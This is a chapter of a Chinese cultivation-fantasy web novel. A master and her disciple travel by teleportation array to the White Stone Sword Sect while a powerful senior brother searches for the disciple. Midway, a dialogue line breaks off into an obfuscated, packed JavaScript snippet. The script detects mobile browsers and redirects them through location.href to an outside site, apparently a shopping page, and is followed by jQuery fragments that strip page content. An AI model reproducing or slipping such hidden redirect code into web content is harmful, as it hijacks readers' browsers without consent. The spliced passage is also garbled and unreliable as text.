28. 白石

作品:《白月光亡妻仰卧起坐了

    “从寸真界前往中央大陆,须挪移整整一炷香,请姨母和师妹莫要心急。”


    距离迷魂森林最近的传送阵,被白依缘麾下修士紧急修缮,终于在双离镇的天边卷白时,散发出隐隐的七彩灵光。


    白依缘将灵晶嵌入阵法,确认传送阵无误后,取出一块沉香木令牌,以及一个沉甸甸的储物袋。


    林芳时望向这块令牌,发现其尾端刻有一朵莲花,中央是“寸真”两个篆字。


    白依缘双手捧给林芳时,声音柔和。


    “此乃父亲嘱我带给姨母的令牌,以及一些或许可用得上的灵晶。且我寸真白氏在中央大陆亦有眼目,倘若姨母与师妹急需帮忙,可凭借此令调用人手。”


    容灵灵见他给的这两样东西,眉宇间掠过一丝轻蔑,下意识想要开口说什么,眸光却扫到林芳时肩上泥人,终究将嘴鼓了起来,偏头低低“哼”了一声。


    ……调用人手也用不上你。


    也不知道师兄找到哪了,能不能在她回中央大陆的时候,正好跟她和师父遇见。


    不对,万一还没回苍穹界,就被师兄当面逮到,到时候怎么解释……


    她想着想着,不自觉愁眉苦脸起来。


    林芳时隐约听到背后有声,接过东西后转头看了一眼,却见少女垂着脸在踢小石子,一副不大开心的模样。


    “当归?怎么了?”


    容灵灵听到她的声音,一脚踩住碎石,抬眼飞速扫过,正撞上对面白依缘温柔慈悲的眼神,只觉得脊背直起鸡皮疙瘩,侧头对上林芳时关切的眼,忙道:“……没事,我们现在走吗师父?”


    林芳时端详她一会,没看出什么来,笑容温柔又无奈。


    “走罢。”


    两人身影彻底消失在传送阵内,四周所剩的灵气飘摇散去,原地只剩下持佛珠的白依缘,低眉垂目中轻轻叹了口气,正要转身离开,全身却倏忽一僵。


    他豁然回首,却见背后传送阵的半空中,无声敞开了一条漆黑的虚空裂缝,一截苍黛色的衣袍,随风垂落而下。


    身着宽袍的年轻男子,正低头从虚空缝隙中迈出脚步,深邃的眉骨之下,是一双更为平静的眼。


    “晚了一步。”


    他眸光淡淡扫过白依缘,却不像是真正将他看在眼中,右手的黑白玉牌被灵气托起,滴溜溜转了一圈,扰动传送阵上残留的修士气息。


    感应半晌,他微微蹙起眉宇。


    “两人……师妹,与那个女修士。”


    白依缘紧紧盯着他,眸光逐渐腾起戒备。


    能在虚空内行走,至少是化神清宁期修士,而撕裂虚空举重若轻,不怎么动用灵力的修士,最起码也是化神真一期。


    寸真界地处偏西,虚空内小界相邻较多,大界则屈指可数。


    中央大陆虽与之联系,其中牵连却不太深,界内除了寸真白氏一家独大,元婴期以上修士不足双十,更不用说这种气势惊人的化神大能——


    白依缘心头一动,扫过他腰上青玉尺、左手金丝木环和耳边柳叶,神情依旧沉静,抬手示意后面的下属不必上前,对此人拱手道。


    “道友请了,不知驾临寸真,所为何事?”


    “为寻师妹而来。”


    停留在半空中的男人闻言,指尖一弹,碧色灵气再度凝形少女。


    “此乃师妹模样,道友是否见过?”


    白依缘甫一看到那少女模样,表情微微一动:“你是当归师妹的旧识?有何凭证?”


    男人似乎对他知晓容灵灵下落,有所预料,瞥了一眼脚下的传送阵,身形飘然而落,停在白依缘身前几丈,同时碧色灵气凝成灵珠,他指尖一弹,便朝白依缘飞了过去。


    “定影珠内,乃师妹练剑情形——她离家出走,我寻她回宗。”


    白依缘接过那枚灵珠,用神识窥看,便见内中少女手持琉璃青色长剑,面容整肃,一剑劈开了面前的巨石,豁然回首时,仿佛窥见了来人,本就清丽绝尘的面容,登时流露灿烂笑容。


    “师兄!”


    白依缘一眼扫过,回忆起容灵灵昨夜翻着白眼,一副爱答不理的模样,不由失笑,将定影珠交还给对方,直言相告:“她与姨母已前往中央大陆。”


    男人闻言:“……姨母?”


    白依缘一分惊讶:“你不知?”


    男人摇头:“我只知晓,师妹与一女修同行,不知此女身份。”


    “姨母乃是我父母好友,亦是寸真白氏之友。”


    白依缘察觉他语调陌生,似是当真不知林芳时,原本略有放松的神情,再度绷紧:“当归师妹已拜姨母为师,与道友勉强算是同门,倘若有何处得罪道友,还请道友看在寸真白氏份上,稍稍抬手。”


    “此女非蒙骗控制师妹,令她拜师,自不为难。”


    在听到“拜师”两字时,男人神情有所波动,继续问道:“不知道友姨母,道号为何?”


    “我并不知……”白依缘摇头,思忖之后,方慢慢道,“我只知姨母之名,乃是‘林芳时’——”


    这一次,不待他将话说完,男人蓦然变色。


    他身上气息失去控制,灵压一闪而没,将白依缘逼得后退两步,全身灵力瞬间停滞,差点跪倒在地。


    “……什么?”


    与此同时,位于中央大陆东北方向,紧邻山脉的白石城门口,两道戴着帷帽的身影,悄然混杂在了来往修士中。


    身着布衣的筑基修士,专门做给传送阵出来的修士领路的活计,领着两个看不清面容的女修,一路经过三个城镇终于抵达此处,抬头一见终于到了地方,也没忍住松了口气。


    他擦了擦头顶不存在的汗水,小心翼翼对个子稍高些,有元婴修为的女修道。


    “……禀前辈,前方城外那座最高的山,便是白石山。那山上,便是您要找的白石剑宗。”


    帷帽中闪过一道灵光,三块中品灵石抛出,悬浮在那修士面前,女修语调温柔,只看不清具体神情。


    “劳烦你了。”


    没想到能得这么多灵石,筑基修士难掩面上喜色:“多谢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213997|196811||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    前辈!”


    帷帽柔软的白纱,被风轻轻扬起。


    “且去罢。”


    等那一步三回头,好像还有点依依不舍“大方”前辈的筑基修士消失,林芳时微微转过头去,看向一路跟着自己没怎么说话的容灵灵。


    “当归,你想在城中待着,还是与我同去?”


    容灵灵听到她的声音,下意识又想攀住她的手臂,尚未来得及动作,却被帷帽挡住动作,只能攥紧了掌心的琉璃杖:“自然跟师父去!”


    她语调含着困惑:“但是师父……我们为什么不去苍穹界,突然跑到这个地方,找什么白石剑宗啊……”


    林芳时闻言一怔,下意识微微仰起头。


    从传送阵迈入中央大陆的那个瞬间,不必有人再做提醒,林芳时便敏锐意识到头顶云层中,似有什么东西正无声凝注于下,给中央大陆上所有的修士,加上了一层枷锁般的威慑。


    那就是……苍穹界。


    林芳时身为因果道的元婴修士,对如影随形的监视极其敏锐,出传送阵还不到几息时间,便察觉在这中央大陆生存的修士,除非身有特别强力的法门,或是宗门大能出手相护,便会时不时的,受到头顶这种隐约注视。


    这注视也非全然恶意,更像是“扫过”,其中没有一丝情绪。


    何等修为,何等势力。


    将这片大陆隐隐控制于掌心,能不顾所有修士的意愿,做到如此可怖的地步。


    她的阿默……如今到底变成了什么模样?


    那个瞬间,林芳时终于有了一丝逝去千年,与这世间彻底脱节的感觉,同时亦真正感受到了寸真界内,已然身为渡劫期修士的白真,谈起容寻时话语中那股忌惮的实感。


    林芳时闭了闭眼,下意识伸手摸到肩上泥人,被泥人小小的手抓住手指,方才将这些杂念压在心底,继续回答容灵灵的问题。


    “因为……我的胞妹,当年与一位剑修结为道侣后,跟随此人离开了璇玑界,便定居在这中央大陆的白石剑宗中。”


    容灵灵听她这话,讶然道:“师父的……亲妹妹?”


    “对。”


    林芳时隔着一层白纱,望向不远处的白石山,轻声说道:“我与她双胞而生,她是我在这世上……最亲的亲人。”


    白石山。


    从山脚到山顶石块,皆是一种灰白颜色。


    一路从山脚顺着青石板路上山,便见白石剑宗山门立在山顶,像一道被剑意劈开的裂隙,宽仅三尺,其后深不见光。


    裂隙两侧的灰白石头,似被历代剑气浸润千年,已生出玉质的光泽,隐隐透着拒人千里的寒意,位于崖边的等人高的白石上,正镌刻着“剑宗”两个大字。


    林芳时带着容灵灵站定,取下帷帽,在山门外立了三息。


    三息之间,守在山门的两个结丹剑修弟子,虽然没有开口对谈,却已经暗自交换了两次目光。


    先是惯例的审视来人,而后意识到林芳时和她身后看不清面容的女修修为,一腔好奇便凝成了警惕。